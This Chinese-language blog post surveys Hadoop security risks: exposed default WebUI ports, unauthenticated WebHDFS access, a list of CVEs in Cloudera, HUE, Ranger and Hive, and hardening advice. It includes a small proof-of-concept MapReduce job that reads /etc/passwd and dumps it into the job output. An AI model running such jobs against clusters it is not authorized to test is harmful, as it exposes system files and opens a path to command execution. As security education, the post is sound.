很多产品设计之初就是使用在内网,所以默认不开启身份认证或者压根就没有身份认证模块,这种设计理念是有问题的 。例如es、redis、mongodb这些基础设施级的软件默认没有开启身份认证,很多安全问题都是由它导致的 。本文简单介绍下hadoop相关的安全问题。
Hadoop简介:
Hadoop是一个由Apache基金会所开发的一个开源 高可靠 可扩展的分布式计算框架。Hadoop的框架最核心的设计就是:HDFS和MapReduce。
HDFS为海量的数据提供了存储,MapReduce则为海量的数据提供了计算。
HDFS是Google File System(GFS)的开源实现。
MapReduce是一种编程模型,用于大规模数据集(大于1TB)的并行运算。
总的来说Hadoop安全问题涉及三个方面:
第一:WebUI敏感信息泄漏:
Hadoop默认情况开放了很多端口提供WebUI,下面这些多多少少都会泄漏一些信息息.
一、HDFS
1.NameNode 默认端口 50070
2.SecondNameNode 默认端口 50090
3.DataNode 默认端口 50075
4.Backup/Checkpoint node 默认端口 50105
二、MapReduce
1.JobTracker 默认端口 50030
2.TaskTracker 默认端口 50060
端口探测,扫描HDFS和MapReduce的WebUI对应的服务端口
NameNode WebUI管理界面
通过NameNode节点管理HDFS
其中比较重要的是DataNode 默认端口50075开放的话,攻击者可以通过hdsf提供的restful api对hdfs存储数据进行操作。
restful api参考:
http://hadoop.apache.org/docs/r1.0.4/webhdfs.html
第二:MapReduce代码执行漏洞
MapReduce demo:https://github.com/huahuiyang/yarn-demo
稍微改动了一下:
FileInputStream file = null;
BufferedReader reader = null;
InputStreamReader inputFileReader = null;
String content = “”;
String tempString = null;
try {
file = new FileInputStream(“/etc/passwd”);
inputFileReader = new InputStreamReader(file, “utf-8”);
reader = new BufferedReader(inputFileReader);
// 一次读入一行,直到读入null为文件结束
while ((tempString = reader.readLine()) != null) {
content += tempString;
}
reader.close();
} catch (IOException e) {
e.printStackTrace();
} finally {
if (reader != null) {
try {
reader.close();
} catch (IOException e1) {
}
}
}
utput.collect(new Text(content), new IntWritable(1));
执行mapreduce任务:
➜ bin ./hadoop jar wordcount.jar com.yhh.mapreduce.wordcount.WordCount data.txt result
查看执行结果:
➜ bin cat result/part-00000
既然可以执行jar程序,执行系统命令还是很容易的,但是这个需要一个Hadoop的shell。
第三:Hadoop的第三方插件安全漏洞
Cloudera Manager <=5.5
1、Cloudera Manager CVE-2016-4949 Information Disclosure Vulnerability
2、Template rename stored XSS (CVE-2016-4948)
Kerberos wizard stored XSS (CVE-2016-4948)
Host addition reflected XSS (CVE-2016-4948)
Cloudera HUE =< 3.9.0
1、Enumerating users with an unprivileged account (CVE-2016-4947)
2、Stored XSS (CVE-2016-4946)
3、Open redirect
Apache Ranger =< 0.5
1、Unauthenticated policy download
2、Authenticated SQL injection (CVE-2016-2174)
Apache Group Hadoop 2.6.x
1、Apache Hadoop MapReduce信息泄露漏洞(CVE-2015-1776)
Hive任意命令/代码执行漏洞
HQL可以通过transform自定义Hive使用的 Map/Reduce 脚本,从而调用shell/Python等语言,导致攻击者可以通过hive接口等相关操作方式直接获取服务器权限
安全解决方案:
1、开启kerberos认证,参考:
http://hadoop.apache.org/docs/r2.7.3/hadoop-auth/Configuration.html
2、敏感页面以及目录最好也不要对普通用户开放,可nginx方向代理、iptables解决。(jmx/logs/cluster/status.jsp/)
3、hadoop集群单独部署 做好安全监控发现被攻击迹象及时高警。
reference:
http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf
http://blog.cloudera.com/blog/2009/08/hadoop-default-ports-quick-reference/